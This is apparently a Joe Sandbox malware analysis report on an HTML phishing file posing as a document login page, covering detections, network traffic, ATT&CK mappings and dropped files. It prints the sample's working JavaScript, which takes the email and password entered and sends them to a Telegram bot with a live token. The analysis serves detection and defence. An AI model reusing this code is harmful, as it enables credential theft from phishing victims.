Edit tour

Windows Analysis Report
swift-copy31072024PDF.html

Overview

General Information

Sample name:	swift-copy31072024PDF.html
Analysis ID:	1544346
MD5:	21de1eced0bba2c144b3f9a267f95fd7
SHA1:	d08160beca4b007084fc5e9b1df1ce3b44de6e85
SHA256:	6aa352aa8f89d3dbc564639ea5ad6c32b3ab5b248b087dca8d37b483674de47a
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

HTML document with suspicious name

HTML file submission containing password form

Javascript uses Telegram API

Uses the Telegram API (likely for C&C communication)

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\swift-copy31072024PDF.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7132 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1876,i,5721794662497170584,7017191593047677730,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
swift-copy31072024PDF.html	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html

LLM: Score: 10 Reasons: HTML file with login form DOM: 1.0.pages.csv

Yara detected HtmlPhish10

Source: Yara match

File source: swift-copy31072024PDF.html, type: SAMPLE

Javascript uses Telegram API

Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html

HTTP Parser: document.getelementbyid('loginform').addeventlistener('submit', function(event) { event.preventdefault(); var email = document.getelementbyid('email').value; var password = document.getelementbyid('password').value; var apikey = '7143837038:aah8epg67nubqq5-xg1extwtgi0rzkmui28'; var chatid = '7463984269'; var message = 'submission:\nemail: ' + email + '\npassword: ' + password; var url = 'https://api.telegram.org/bot' + apikey + '/sendmessage?chat_id=' + chatid + '&text=' + encodeuricomponent(message); fetch(url) .then(function(response) { if (response.ok) { alert('failed: sign in incorrect. please press ok and try again.'); } else { alert('failed: sign in incorrect. please press ok and try again.'); } }) .catch(function(error) { alert('verbumnetworks.net'); }); });

Source: swift-copy31072024PDF.html	HTTP Parser: Number of links: 0
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html	HTTP Parser: Number of links: 0

Source: swift-copy31072024PDF.html	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: swift-copy31072024PDF.html	HTTP Parser: Title: continue does not match URL
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html	HTTP Parser: Title: continue does not match URL

Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html

HTTP Parser: Has password / email / username input fields

Source: swift-copy31072024PDF.html	HTTP Parser: <input type="password" .../> found
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html	HTTP Parser: <input type="password" .../> found

Source: swift-copy31072024PDF.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html	HTTP Parser: No favicon

Source: swift-copy31072024PDF.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html	HTTP Parser: No <meta name="author".. found

Source: swift-copy31072024PDF.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:56535 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 29MB

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: global traffic	TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56524 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56533 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56529
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56525
Source: unknown	Network traffic detected: HTTP traffic on port 56546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56531
Source: unknown	Network traffic detected: HTTP traffic on port 56543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56539
Source: unknown	Network traffic detected: HTTP traffic on port 56545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56533
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56535
Source: unknown	Network traffic detected: HTTP traffic on port 56539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56541
Source: unknown	Network traffic detected: HTTP traffic on port 56542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56542
Source: unknown	Network traffic detected: HTTP traffic on port 56535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 56527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56531 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56547
Source: unknown	Network traffic detected: HTTP traffic on port 56544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56543
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56546
Source: unknown	Network traffic detected: HTTP traffic on port 56541 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 56534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:56535 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: swift-copy31072024PDF.html

Initial sample: swift

Source: classification engine

Classification label: mal72.phis.troj.winHTML@14/20@8/97

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\swift-copy31072024PDF.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1876,i,5721794662497170584,7017191593047677730,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1876,i,5721794662497170584,7017191593047677730,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html

HTTP Parser: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Extra Window Memory Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	142.250.185.132	true	false		unknown
api.telegram.org	149.154.167.220	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/Desktop/swift-copy31072024PDF.html	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
216.58.212.142	unknown	United States	15169	GOOGLEUS	false
216.58.206.67	unknown	United States	15169	GOOGLEUS	false
173.194.76.84	unknown	United States	15169	GOOGLEUS	false
172.217.18.3	unknown	United States	15169	GOOGLEUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
216.58.206.46	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544346
Start date and time:	2024-10-29 10:06:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	swift-copy31072024PDF.html
Detection:	MAL
Classification:	mal72.phis.troj.winHTML@14/20@8/97
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 216.58.212.142, 173.194.76.84, 34.104.35.123, 93.184.221.240
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: swift-copy31072024PDF.html

LLM Input / Output

Input	Output
URL: Model: claude-3-5-sonnet-latest	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: URL: ://
URL: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Login to view document", "prominent_button_name": "Login to view document", "text_input_field_labels": [ "Email:", "Password:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Login to view document", "prominent_button_name": "Login to view document", "text_input_field_labels": [ "Email:", "Password:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html Model: claude-3-haiku-20240307	```json { "brands": [ "kghm.com" ] }
	```json { "brands": [ "kghm.com" ] }
URL: file:///C:/Users/user/Desktop/swift-copy31072024PDF.html Model: claude-3-haiku-20240307	```json { "brands": [ "kghm.com" ] }
	```json { "brands": [ "kghm.com" ] }

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 08:06:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9854188075400927
Encrypted:	false
SSDEEP:
MD5:	0EF60CCBCBF6F736AF6D392181B9C592
SHA1:	058C1271166CD99E63F9F087BDEBAF2FBE20E35F
SHA-256:	7A6D02DA1F6B3993875DB8FCE6E32B98505FEF647AD3E31C6DADD373E9A43602
SHA-512:	63A1543A5DD01FE7C061D620A25CDC2108780052917F4E5EEA58896C560446735C72F9F28934C4D6E9C7DC30278BF0127BD8295D50CEC4F3FE5736CA9F3DF77E
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.... `...)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I]Y.H....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y.H....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y.H....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y.H..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Y.H...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........G..X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 08:06:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.003595484695093
Encrypted:	false
SSDEEP:
MD5:	22B6A6BAD7EB02D3175802F4F37DCD07
SHA1:	079EE4F2D8B973D8B8392C21935944549FEAC778
SHA-256:	97270523CBE9D844FD32B484DDDB4C9C9C89E722308F769F5762B6696DD2A025
SHA-512:	6B9600662D69C192AC72CF02E44C3EDA050E399F6DE322AF85C5511A24B2F3AEDDAB9EB6B9237C7DC39E74C1BAF8B7EED42FFD1EAB1FA9E87D94CF37122AA305
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......}..)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I]Y.H....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y.H....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y.H....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y.H..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Y.H...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........G..X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.011239339454702
Encrypted:	false
SSDEEP:
MD5:	37EB935C85DBFC65BA621B1DF2662578
SHA1:	D0C2415A7B8FAC1A1C64959EFAF9F2AF6428AE4A
SHA-256:	7E77AF33985B3C27BBF17CECB8EFA7D50F8BF789FE300E300E657107B9FB225F
SHA-512:	8F5D083B69F86EECA497365CB370261E9D6CC5F2D48C881E0D8B79C985993CEBD1A5F98070DA246E19739B30FA16F0D37C344AB1CCA8CCE4F719ECC5F6350956
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I]Y.H....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y.H....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y.H....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y.H..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........G..X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 08:06:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.000311365818303
Encrypted:	false
SSDEEP:
MD5:	63CAEC385151D391538462F04699F524
SHA1:	40616B1414EAADA311185D931ABB5E2F5AF80F7D
SHA-256:	1525B3C9D55D79E617F08D29CA950F099810F2EA69311B86C96481FB980CD85A
